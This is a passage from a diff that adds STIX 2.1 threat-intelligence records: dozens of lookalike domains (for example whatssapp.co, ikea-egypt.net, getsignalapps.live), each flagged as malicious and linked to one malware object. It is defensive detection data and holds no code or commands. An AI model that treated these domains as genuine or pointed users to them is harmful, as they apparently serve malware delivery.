"indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='informacao24.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.793319Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--662d84a0-822c-4bd4-a1f9-69dac0f9b707", + "created": "2026-02-17T19:39:51.793634Z", + "modified": "2026-02-17T19:39:51.793634Z", + "relationship_type": "indicates", + "source_ref": "indicator--b4e6c55d-9dae-4c44-8d2b-a343d39dbb39", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--39f2f8c5-36ec-443b-ad22-098c3274a332", + "created": "2026-02-17T19:39:51.793714Z", + "modified": "2026-02-17T19:39:51.793714Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pastepast.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.793714Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b90cff99-b2fd-44b2-9cad-a5ec57235241", + "created": "2026-02-17T19:39:51.794028Z", + "modified": "2026-02-17T19:39:51.794028Z", + "relationship_type": "indicates", + "source_ref": "indicator--39f2f8c5-36ec-443b-ad22-098c3274a332", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d0c2c44b-329f-4ea2-b0b7-8b5784c6d746", + "created": "2026-02-17T19:39:51.794106Z", + "modified": "2026-02-17T19:39:51.794106Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mujmbosnoticias.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.794106Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--11b71f91-dabc-4da6-8d4a-ea3da9a43bcf", + "created": "2026-02-17T19:39:51.794426Z", + "modified": "2026-02-17T19:39:51.794426Z", + "relationship_type": "indicates", + "source_ref": "indicator--d0c2c44b-329f-4ea2-b0b7-8b5784c6d746", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6d9ed241-7577-4958-a788-7367530882a9", + "created": "2026-02-17T19:39:51.794503Z", + "modified": "2026-02-17T19:39:51.794503Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='beroxe.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.794503Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--62401472-f8cf-4f83-82e6-b7459dbc2a89", + "created": "2026-02-17T19:39:51.794822Z", + "modified": "2026-02-17T19:39:51.794822Z", + "relationship_type": "indicates", + "source_ref": "indicator--6d9ed241-7577-4958-a788-7367530882a9", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f558cb87-b65c-4979-9856-233ed18f654e", + "created": "2026-02-17T19:39:51.794902Z", + "modified": "2026-02-17T19:39:51.794902Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='teslal.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.794902Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--87d7583a-8663-4eae-9afe-e44df7f3483a", + "created": "2026-02-17T19:39:51.795222Z", + "modified": "2026-02-17T19:39:51.795222Z", + "relationship_type": "indicates", + "source_ref": "indicator--f558cb87-b65c-4979-9856-233ed18f654e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d4607f3-43db-4e34-b602-4137a48a88b6", + "created": "2026-02-17T19:39:51.795304Z", + "modified": "2026-02-17T19:39:51.795304Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='guardian-tt.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.795304Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--deeda2e4-afef-4c7c-91f4-4897d4ff613a", + "created": "2026-02-17T19:39:51.795628Z", + "modified": "2026-02-17T19:39:51.795628Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d4607f3-43db-4e34-b602-4137a48a88b6", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a69e488c-0d5b-4505-9713-9a988ce782a4", + "created": "2026-02-17T19:39:51.795746Z", + "modified": "2026-02-17T19:39:51.795746Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='orangegypt.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.795746Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--43ffcf15-2914-44f0-ba3c-c548b9192db6", + "created": "2026-02-17T19:39:51.796186Z", + "modified": "2026-02-17T19:39:51.796186Z", + "relationship_type": "indicates", + "source_ref": "indicator--a69e488c-0d5b-4505-9713-9a988ce782a4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7371ce3b-d083-40a5-9ce1-db42a3e59d43", + "created": "2026-02-17T19:39:51.796277Z", + "modified": "2026-02-17T19:39:51.796277Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='5m5.io']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.796277Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--68224194-5860-4075-8273-2438baa288f4", + "created": "2026-02-17T19:39:51.796661Z", + "modified": "2026-02-17T19:39:51.796661Z", + "relationship_type": "indicates", + "source_ref": "indicator--7371ce3b-d083-40a5-9ce1-db42a3e59d43", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c657606f-5127-425e-ac03-009c60f30504", + "created": "2026-02-17T19:39:51.796745Z", + "modified": "2026-02-17T19:39:51.796745Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='almasrylayoum.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.796745Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3e05b077-f19a-4a29-ac01-795802f46f52", + "created": "2026-02-17T19:39:51.797076Z", + "modified": "2026-02-17T19:39:51.797076Z", + "relationship_type": "indicates", + "source_ref": "indicator--c657606f-5127-425e-ac03-009c60f30504", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--568254e7-112c-4994-ad95-e6a364d5ac7b", + "created": "2026-02-17T19:39:51.797174Z", + "modified": "2026-02-17T19:39:51.797174Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='growebservice.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.797174Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b24858ed-d2d9-440b-ac7f-ccc83cc20d8a", + "created": "2026-02-17T19:39:51.79752Z", + "modified": "2026-02-17T19:39:51.79752Z", + "relationship_type": "indicates", + "source_ref": "indicator--568254e7-112c-4994-ad95-e6a364d5ac7b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--41d8d0e7-01f1-4a4a-940d-903bf26da9e1", + "created": "2026-02-17T19:39:51.7976Z", + "modified": "2026-02-17T19:39:51.7976Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='advertsservices.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.7976Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7fb97184-4606-4331-a378-e6ede0c5e323", + "created": "2026-02-17T19:39:51.797916Z", + "modified": "2026-02-17T19:39:51.797916Z", + "relationship_type": "indicates", + "source_ref": "indicator--41d8d0e7-01f1-4a4a-940d-903bf26da9e1", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f954ef86-ef18-4826-9b60-2dc7e5d2ac96", + "created": "2026-02-17T19:39:51.798032Z", + "modified": "2026-02-17T19:39:51.798032Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='whatssapp.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.798032Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c0272e7a-725b-471b-9afd-1319393c0e15", + "created": "2026-02-17T19:39:51.798388Z", + "modified": "2026-02-17T19:39:51.798388Z", + "relationship_type": "indicates", + "source_ref": "indicator--f954ef86-ef18-4826-9b60-2dc7e5d2ac96", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--da4e4152-f2c0-4ab9-ad20-00ba312d2350", + "created": "2026-02-17T19:39:51.798477Z", + "modified": "2026-02-17T19:39:51.798477Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zakorn.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.798477Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--060676a3-f4b3-49bf-ba3c-66e4779c36c1", + "created": "2026-02-17T19:39:51.7988Z", + "modified": "2026-02-17T19:39:51.7988Z", + "relationship_type": "indicates", + "source_ref": "indicator--da4e4152-f2c0-4ab9-ad20-00ba312d2350", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--af02c373-cccb-4158-8043-803c68ea393d", + "created": "2026-02-17T19:39:51.798882Z", + "modified": "2026-02-17T19:39:51.798882Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='betly.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.798882Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a3aae121-6542-4bbf-a498-a39d58137361", + "created": "2026-02-17T19:39:51.799204Z", + "modified": "2026-02-17T19:39:51.799204Z", + "relationship_type": "indicates", + "source_ref": "indicator--af02c373-cccb-4158-8043-803c68ea393d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa263945-8d9d-4d38-b4a1-c54d6fa986ce", + "created": "2026-02-17T19:39:51.799285Z", + "modified": "2026-02-17T19:39:51.799285Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='itcgr.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.799285Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4c60d911-9ab8-4c6d-8a46-8435ebd0fef9", + "created": "2026-02-17T19:39:51.799611Z", + "modified": "2026-02-17T19:39:51.799611Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa263945-8d9d-4d38-b4a1-c54d6fa986ce", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c4416f46-78d3-4eaa-a336-a8f62fd1b166", + "created": "2026-02-17T19:39:51.7997Z", + "modified": "2026-02-17T19:39:51.7997Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='leanwithme.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.7997Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fef5b4f4-60a7-413a-8481-6af03dbd9ab4", + "created": "2026-02-17T19:39:51.800099Z", + "modified": "2026-02-17T19:39:51.800099Z", + "relationship_type": "indicates", + "source_ref": "indicator--c4416f46-78d3-4eaa-a336-a8f62fd1b166", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0854f12d-ff76-476d-b704-2f74da0b9894", + "created": "2026-02-17T19:39:51.800177Z", + "modified": "2026-02-17T19:39:51.800177Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lttlnk.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.800177Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--49036524-b1ce-43e9-87ce-cfe06bcb8d01", + "created": "2026-02-17T19:39:51.800513Z", + "modified": "2026-02-17T19:39:51.800513Z", + "relationship_type": "indicates", + "source_ref": "indicator--0854f12d-ff76-476d-b704-2f74da0b9894", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b8339132-7131-45c4-a2ab-e1903ded47e7", + "created": "2026-02-17T19:39:51.800597Z", + "modified": "2026-02-17T19:39:51.800597Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bi.tly.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.800597Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b7663ba-64bd-4a1a-902a-f231d558c653", + "created": "2026-02-17T19:39:51.800912Z", + "modified": "2026-02-17T19:39:51.800912Z", + "relationship_type": "indicates", + "source_ref": "indicator--b8339132-7131-45c4-a2ab-e1903ded47e7", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2dec5267-9366-42ad-a6e7-df3956a1a3db", + "created": "2026-02-17T19:39:51.800992Z", + "modified": "2026-02-17T19:39:51.800992Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='e-kgd.kz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.800992Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--236d2c5e-2cee-4618-bde2-1c30e2ce1b9d", + "created": "2026-02-17T19:39:51.801304Z", + "modified": "2026-02-17T19:39:51.801304Z", + "relationship_type": "indicates", + "source_ref": "indicator--2dec5267-9366-42ad-a6e7-df3956a1a3db", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--10e2d50d-994d-4082-95e7-a0cf810be71d", + "created": "2026-02-17T19:39:51.801389Z", + "modified": "2026-02-17T19:39:51.801389Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sysnet.life']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.801389Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ab8fe276-56ed-4f79-a2e7-c03f0955de6a", + "created": "2026-02-17T19:39:51.801713Z", + "modified": "2026-02-17T19:39:51.801713Z", + "relationship_type": "indicates", + "source_ref": "indicator--10e2d50d-994d-4082-95e7-a0cf810be71d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5513c2fe-d1ce-4717-b4fd-09c2e72e2a06", + "created": "2026-02-17T19:39:51.801793Z", + "modified": "2026-02-17T19:39:51.801793Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='olxeg.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.801793Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aaddb72d-4149-489a-8f7a-cd1b207c52e4", + "created": "2026-02-17T19:39:51.802105Z", + "modified": "2026-02-17T19:39:51.802105Z", + "relationship_type": "indicates", + "source_ref": "indicator--5513c2fe-d1ce-4717-b4fd-09c2e72e2a06", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c67200ed-a36a-4bfd-a82a-c354014d0895", + "created": "2026-02-17T19:39:51.802184Z", + "modified": "2026-02-17T19:39:51.802184Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clckbck.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.802184Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b80d5b82-f401-4364-a9e4-97ec8224b1be", + "created": "2026-02-17T19:39:51.802518Z", + "modified": "2026-02-17T19:39:51.802518Z", + "relationship_type": "indicates", + "source_ref": "indicator--c67200ed-a36a-4bfd-a82a-c354014d0895", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c15b2b47-67e6-4a45-ac30-c64acaf776a5", + "created": "2026-02-17T19:39:51.802609Z", + "modified": "2026-02-17T19:39:51.802609Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='itter.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.802609Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--14a2dbbb-9411-4c72-aea1-d48db9c7f858", + "created": "2026-02-17T19:39:51.802938Z", + "modified": "2026-02-17T19:39:51.802938Z", + "relationship_type": "indicates", + "source_ref": "indicator--c15b2b47-67e6-4a45-ac30-c64acaf776a5", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e45de741-1d48-4f20-abdf-20e9a315c02e", + "created": "2026-02-17T19:39:51.803019Z", + "modified": "2026-02-17T19:39:51.803019Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aramexegypt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.803019Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--93bcbb20-0c77-483d-a1d8-3b4cd6663cc6", + "created": "2026-02-17T19:39:51.803365Z", + "modified": "2026-02-17T19:39:51.803365Z", + "relationship_type": "indicates", + "source_ref": "indicator--e45de741-1d48-4f20-abdf-20e9a315c02e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ab2f3ea-c257-46e8-ab0e-c9a157b0c0a1", + "created": "2026-02-17T19:39:51.803447Z", + "modified": "2026-02-17T19:39:51.803447Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='getsignalapps.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.803447Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b9d7d124-4e25-4fed-998c-6f887242ab3a", + "created": "2026-02-17T19:39:51.803843Z", + "modified": "2026-02-17T19:39:51.803843Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ab2f3ea-c257-46e8-ab0e-c9a157b0c0a1", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c657644e-0d36-468b-b49e-c5df8125b0f6", + "created": "2026-02-17T19:39:51.803926Z", + "modified": "2026-02-17T19:39:51.803926Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ios-apps.store']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.803926Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3f2a9a28-70c2-4e4a-9371-38e0f5a7848e", + "created": "2026-02-17T19:39:51.804258Z", + "modified": "2026-02-17T19:39:51.804258Z", + "relationship_type": "indicates", + "source_ref": "indicator--c657644e-0d36-468b-b49e-c5df8125b0f6", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8d4c3fdd-a042-406f-81a0-d41c002357b5", + "created": "2026-02-17T19:39:51.804338Z", + "modified": "2026-02-17T19:39:51.804338Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ikea-egypt.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.804338Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b2812f6-4e8a-455a-9972-d6db67aa9cef", + "created": "2026-02-17T19:39:51.804664Z", + "modified": "2026-02-17T19:39:51.804664Z", + "relationship_type": "indicates", + "source_ref": "indicator--8d4c3fdd-a042-406f-81a0-d41c002357b5", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d7672729-a02f-4050-8f4b-998e5c314604", + "created": "2026-02-17T19:39:51.804744Z", + "modified": "2026-02-17T19:39:51.804744Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nemshi.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.804744Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--84b69ca5-57f9-44a3-a40e-83cc8b724ecf", + "created": "2026-02-17T19:39:51.805064Z", + "modified": "2026-02-17T19:39:51.805064Z", + "relationship_type": "indicates", + "source_ref": "indicator--d7672729-a02f-4050-8f4b-998e5c314604", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6b34cf13-fbca-4eb8-ac21-abe6cdd8ec57", + "created": "2026-02-17T19:39:51.805142Z", + "modified": "2026-02-17T19:39:51.805142Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jornaldeangola.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.805142Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3421d07a-92a5-44dc-bebe-95609bf45400", + "created": "2026-02-17T19:39:51.805468Z", + "modified": "2026-02-17T19:39:51.805468Z", + "relationship_type": "indicates", + "source_ref": "indicator--6b34cf13-fbca-4eb8-ac21-abe6cdd8ec57", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0c9d756f-7611-4622-aeba-598f8537b1f8", + "created": "2026-02-17T19:39:51.805546Z", + "modified": "2026-02-17T19:39:51.805546Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sepenet.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.805546Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--101e955b-2977-4863-8240-ae64e76306a0", + "created": "2026-02-17T19:39:51.805884Z", + "modified": "2026-02-17T19:39:51.805884Z", + "relationship_type": "indicates", + "source_ref": "indicator--0c9d756f-7611-4622-aeba-598f8537b1f8", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7945732d-0cec-4445-94b1-926f33849ed6", + "created": "2026-02-17T19:39:51.805976Z", + "modified": "2026-02-17T19:39:51.805976Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mitube1.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.805976Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b19b36c0-5e73-4457-a563-d308f87fcb90", + "created": "2026-02-17T19:39:51.806298Z", + "modified": "2026-02-17T19:39:51.806298Z", + "relationship_type": "indicates", + "source_ref": "indicator--7945732d-0cec-4445-94b1-926f33849ed6", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--526b9f6f-cb08-4e33-b3f0-f1fc6d34e449", + "created": "2026-02-17T19:39:51.806377Z", + "modified": "2026-02-17T19:39:51.806377Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='myfawry.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.806377Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5c632e5d-5402-4232-9464-403c915dcaea", + "created": "2026-02-17T19:39:51.806693Z", + "modified": "2026-02-17T19:39:51.806693Z", + "relationship_type": "indicates", + "source_ref": "indicator--526b9f6f-cb08-4e33-b3f0-f1fc6d34e449", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cbc7bbd7-7fa5-4caf-b310-b0bec161b567", + "created": "2026-02-17T19:39:51.806771Z", + "modified": "2026-02-17T19:39:51.806771Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newsbeast.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.806771Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a2dddda0-ba60-40eb-9c56-af4ebcbb336c", + "created": "2026-02-17T19:39:51.807086Z", + "modified": "2026-02-17T19:39:51.807086Z", + "relationship_type": "indicates", + "source_ref": "indicator--cbc7bbd7-7fa5-4caf-b310-b0bec161b567", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5f3c0a49-0824-474b-91a0-006b9771c437", + "created": "2026-02-17T19:39:51.807165Z", + "modified": "2026-02-17T19:39:51.807165Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='factosdiarios.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.807165Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--42932836-52ef-495d-815e-ec8bd4b3e0ba", + "created": "2026-02-17T19:39:51.807555Z", + "modified": "2026-02-17T19:39:51.807555Z", + "relationship_type": "indicates", + "source_ref": "indicator--5f3c0a49-0824-474b-91a0-006b9771c437", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6cf24499-06fd-4cf3-a787-0cbc58c7784e", + "created": "2026-02-17T19:39:51.807635Z", + "modified": "2026-02-17T19:39:51.807635Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='plastictoysworld.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.807635Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--50e40f0d-306a-4365-bf2b-8c6ddaabfeb4", + "created": "2026-02-17T19:39:51.807946Z", + "modified": "2026-02-17T19:39:51.807946Z", + "relationship_type": "indicates", + "source_ref": "indicator--6cf24499-06fd-4cf3-a787-0cbc58c7784e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b1706419-a743-4435-848c-7377781089db", + "created": "2026-02-17T19:39:51.808023Z", + "modified": "2026-02-17T19:39:51.808023Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='getupdatesnow.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.808023Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--85e84520-f9e4-4498-b0ff-64a0e9639c83", + "created": "2026-02-17T19:39:51.808333Z", + "modified": "2026-02-17T19:39:51.808333Z", + "relationship_type": "indicates", + "source_ref": "indicator--b1706419-a743-4435-848c-7377781089db", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b616ea38-2e78-4fa2-91da-3d918ac1728e", + "created": "2026-02-17T19:39:51.808411Z", + "modified": "2026-02-17T19:39:51.808411Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yo.utube.digital']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.808411Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--70878c5e-309e-4fd5-a5e9-f1bf171fee82", + "created": "2026-02-17T19:39:51.80872Z", + "modified": "2026-02-17T19:39:51.80872Z", + "relationship_type": "indicates", + "source_ref": "indicator--b616ea38-2e78-4fa2-91da-3d918ac1728e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2c425214-d01a-4584-a63f-c62f848f485f", + "created": "2026-02-17T19:39:51.808802Z", + "modified": "2026-02-17T19:39:51.808802Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sinai-new.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.808802Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--232d6905-8adc-4d81-a3c1-6e362d09594d", + "created": 